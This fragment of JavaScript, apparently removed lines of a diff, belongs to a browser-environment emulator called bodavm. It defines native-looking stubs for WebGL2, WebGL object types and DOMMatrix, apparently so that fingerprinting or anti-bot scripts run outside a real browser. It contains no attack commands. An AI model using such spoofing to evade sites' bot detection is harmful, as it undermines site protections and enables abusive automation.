bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2iv", {configurable:true, enumerable:true, writable:true, value:function uniform2iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2uiv", {configurable:true, enumerable:true, writable:true, value:function uniform2uiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2uiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3f", {configurable:true, enumerable:true, writable:true, value:function uniform3f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3fv", {configurable:true, enumerable:true, writable:true, value:function uniform3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3i", {configurable:true, enumerable:true, writable:true, value:function uniform3i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3iv", {configurable:true, enumerable:true, writable:true, value:function uniform3iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3uiv", {configurable:true, enumerable:true, writable:true, value:function uniform3uiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3uiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4f", {configurable:true, enumerable:true, writable:true, value:function uniform4f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4fv", {configurable:true, enumerable:true, writable:true, value:function uniform4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4i", {configurable:true, enumerable:true, writable:true, value:function uniform4i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4iv", {configurable:true, enumerable:true, writable:true, value:function uniform4iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4uiv", {configurable:true, enumerable:true, writable:true, value:function uniform4uiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4uiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix2fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix2x3fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix2x3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix2x3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix2x4fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix2x4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix2x4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix3fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix3x2fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix3x2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix3x2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix3x4fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix3x4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix3x4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix4fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix4x2fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix4x2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix4x2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformMatrix4x3fv", {configurable:true, enumerable:true, writable:true, value:function uniformMatrix4x3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformMatrix4x3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib1f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib1f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib1f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib1fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib1fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib1fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib2f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib2f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib2f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib2fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib3f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib3f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib3f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib3fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib3fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib3fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib4f", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib4f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib4f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttrib4fv", {configurable:true, enumerable:true, writable:true, value:function vertexAttrib4fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttrib4fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4iv", {configurable:true, enumerable:true, writable:true, value:function vertexAttribI4iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4uiv", {configurable:true, enumerable:true, writable:true, value:function vertexAttribI4uiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4uiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribPointer", {configurable:true, enumerable:true, writable:true, value:function vertexAttribPointer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribPointer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "viewport", {configurable:true, enumerable:true, writable:true, value:function viewport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "viewport", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "makeXRCompatible", {configurable:true, enumerable:true, writable:true, value:function makeXRCompatible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "makeXRCompatible", arguments)}},'prototype'); - -// WebGLActiveInfo对象 -bodavm.memory.globalobj['WebGLActiveInfo'] = function WebGLActiveInfo(){if (!(this instanceof WebGLActiveInfo)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLActiveInfo'], "WebGLActiveInfo"); -bodavm.toolsFunc.defineProperty('WebGLActiveInfo', "size", {configurable:true, enumerable:true, get:function size (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLActiveInfo'].prototype, "WebGLActiveInfo", "size_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLActiveInfo', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLActiveInfo'].prototype, "WebGLActiveInfo", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLActiveInfo', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLActiveInfo'].prototype, "WebGLActiveInfo", "name_get", arguments)}, set:undefined},'prototype'); - -// WebGLContextEvent对象 -bodavm.memory.globalobj['WebGLContextEvent'] = function WebGLContextEvent(){if (!(this instanceof WebGLContextEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebGLContextEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLContextEvent'], "WebGLContextEvent"); -bodavm.memory.globalobj['WebGLContextEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['WebGLContextEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('WebGLContextEvent', "statusMessage", {configurable:true, enumerable:true, get:function statusMessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLContextEvent'].prototype, "WebGLContextEvent", "statusMessage_get", arguments)}, set:undefined},'prototype'); - -// WebGLFramebuffer对象 -bodavm.memory.globalobj['WebGLFramebuffer'] = function WebGLFramebuffer(){if (!(this instanceof WebGLFramebuffer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLFramebuffer'], "WebGLFramebuffer"); - -// WebGLQuery对象 -bodavm.memory.globalobj['WebGLQuery'] = function WebGLQuery(){if (!(this instanceof WebGLQuery)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLQuery'], "WebGLQuery"); - -// WebGLRenderbuffer对象 -bodavm.memory.globalobj['WebGLRenderbuffer'] = function WebGLRenderbuffer(){if (!(this instanceof WebGLRenderbuffer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLRenderbuffer'], "WebGLRenderbuffer"); - -// WebGLSampler对象 -bodavm.memory.globalobj['WebGLSampler'] = function WebGLSampler(){if (!(this instanceof WebGLSampler)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLSampler'], "WebGLSampler"); - -// WebGLSync对象 -bodavm.memory.globalobj['WebGLSync'] = function WebGLSync(){if (!(this instanceof WebGLSync)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLSync'], "WebGLSync"); - -// WebGLTexture对象 -bodavm.memory.globalobj['WebGLTexture'] = function WebGLTexture(){if (!(this instanceof WebGLTexture)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLTexture'], "WebGLTexture"); - -// WebGLTransformFeedback对象 -bodavm.memory.globalobj['WebGLTransformFeedback'] = function WebGLTransformFeedback(){if (!(this instanceof WebGLTransformFeedback)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLTransformFeedback'], "WebGLTransformFeedback"); - -// WebGLUniformLocation对象 -bodavm.memory.globalobj['WebGLUniformLocation'] = function WebGLUniformLocation(){if (!(this instanceof WebGLUniformLocation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLUniformLocation'], "WebGLUniformLocation"); - -// WebGLVertexArrayObject对象 -bodavm.memory.globalobj['WebGLVertexArrayObject'] = function WebGLVertexArrayObject(){if (!(this instanceof WebGLVertexArrayObject)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLVertexArrayObject'], "WebGLVertexArrayObject"); - -// webkitCancelAnimationFrame对象 -bodavm.memory.globalobj['webkitCancelAnimationFrame'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('webkitCancelAnimationFrame', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('webkitCancelAnimationFrame', "name", {configurable:true, enumerable:false, writable:false, value:"webkitCancelAnimationFrame"}); - -// DOMMatrix对象 -bodavm.memory.globalobj['DOMMatrix'] = function DOMMatrix(){this._boarg= new bodaobj.window.DOMMatrix();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['DOMMatrix'], "DOMMatrix"); -bodavm.memory.globalobj['DOMMatrix'].prototype.__proto__=bodavm.memory.globalobj['DOMMatrixReadOnly'].prototype; -bodavm.memory.globalobj['DOMMatrix'].__proto__=bodavm.memory.globalobj['DOMMatrixReadOnly']; -bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat32Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat32Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat32Array", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrix', "fromFloat64Array", {configurable:true, enumerable:true, writable:true, value:function fromFloat64Array (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromFloat64Array", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrix', "fromMatrix", {configurable:true, enumerable:true, writable:true, value:function fromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].undefined, "DOMMatrix", "fromMatrix", arguments)}}); -bodavm.toolsFunc.defineProperty('DOMMatrix', "a", {configurable:true, enumerable:true, get:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_get", arguments)}, set:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "a_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "b", {configurable:true, enumerable:true, get:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_get", arguments)}, set:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "b_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "c", {configurable:true, enumerable:true, get:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_get", arguments)}, set:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "c_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "d", {configurable:true, enumerable:true, get:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_get", arguments)}, set:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "d_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "e", {configurable:true, enumerable:true, get:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_get", arguments)}, set:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "e_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "f", {configurable:true, enumerable:true, get:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_get", arguments)}, set:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "f_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m11", {configurable:true, enumerable:true, get:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_get", arguments)}, set:function m11 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m11_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m12", {configurable:true, enumerable:true, get:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_get", arguments)}, set:function m12 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m12_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m13", {configurable:true, enumerable:true, get:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_get", arguments)}, set:function m13 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m13_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m14", {configurable:true, enumerable:true, get:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_get", arguments)}, set:function m14 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m14_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m21", {configurable:true, enumerable:true, get:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_get", arguments)}, set:function m21 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m21_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m22", {configurable:true, enumerable:true, get:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_get", arguments)}, set:function m22 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m22_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m23", {configurable:true, enumerable:true, get:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_get", arguments)}, set:function m23 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m23_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m24", {configurable:true, enumerable:true, get:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_get", arguments)}, set:function m24 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m24_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m31", {configurable:true, enumerable:true, get:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_get", arguments)}, set:function m31 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m31_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m32", {configurable:true, enumerable:true, get:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_get", arguments)}, set:function m32 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m32_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m33", {configurable:true, enumerable:true, get:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_get", arguments)}, set:function m33 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m33_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m34", {configurable:true, enumerable:true, get:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_get", arguments)}, set:function m34 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m34_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m41", {configurable:true, enumerable:true, get:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_get", arguments)}, set:function m41 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m41_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m42", {configurable:true, enumerable:true, get:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_get", arguments)}, set:function m42 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m42_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m43", {configurable:true, enumerable:true, get:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_get", arguments)}, set:function m43 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m43_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "m44", {configurable:true, enumerable:true, get:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_get", arguments)}, set:function m44 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "m44_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "invertSelf", {configurable:true, enumerable:true, writable:true, value:function invertSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "invertSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "multiplySelf", {configurable:true, enumerable:true, writable:true, value:function multiplySelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "multiplySelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "preMultiplySelf", {configurable:true, enumerable:true, writable:true, value:function preMultiplySelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "preMultiplySelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateAxisAngleSelf", {configurable:true, enumerable:true, writable:true, value:function rotateAxisAngleSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateAxisAngleSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateFromVectorSelf", {configurable:true, enumerable:true, writable:true, value:function rotateFromVectorSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateFromVectorSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "rotateSelf", {configurable:true, enumerable:true, writable:true, value:function rotateSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "rotateSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "scale3dSelf", {configurable:true, enumerable:true, writable:true, value:function scale3dSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scale3dSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "scaleSelf", {configurable:true, enumerable:true, writable:true, value:function scaleSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "scaleSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "skewXSelf", {configurable:true, enumerable:true, writable:true, value:function skewXSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewXSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "skewYSelf", {configurable:true, enumerable:true, writable:true, value:function skewYSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "skewYSelf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('DOMMatrix', "translateSelf", {configurable:true, enumerable:true, writable:true, value:function translateSelf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['DOMMatrix'].prototype, "DOMMatrix", "translateSelf", arguments)}},'prototype'); 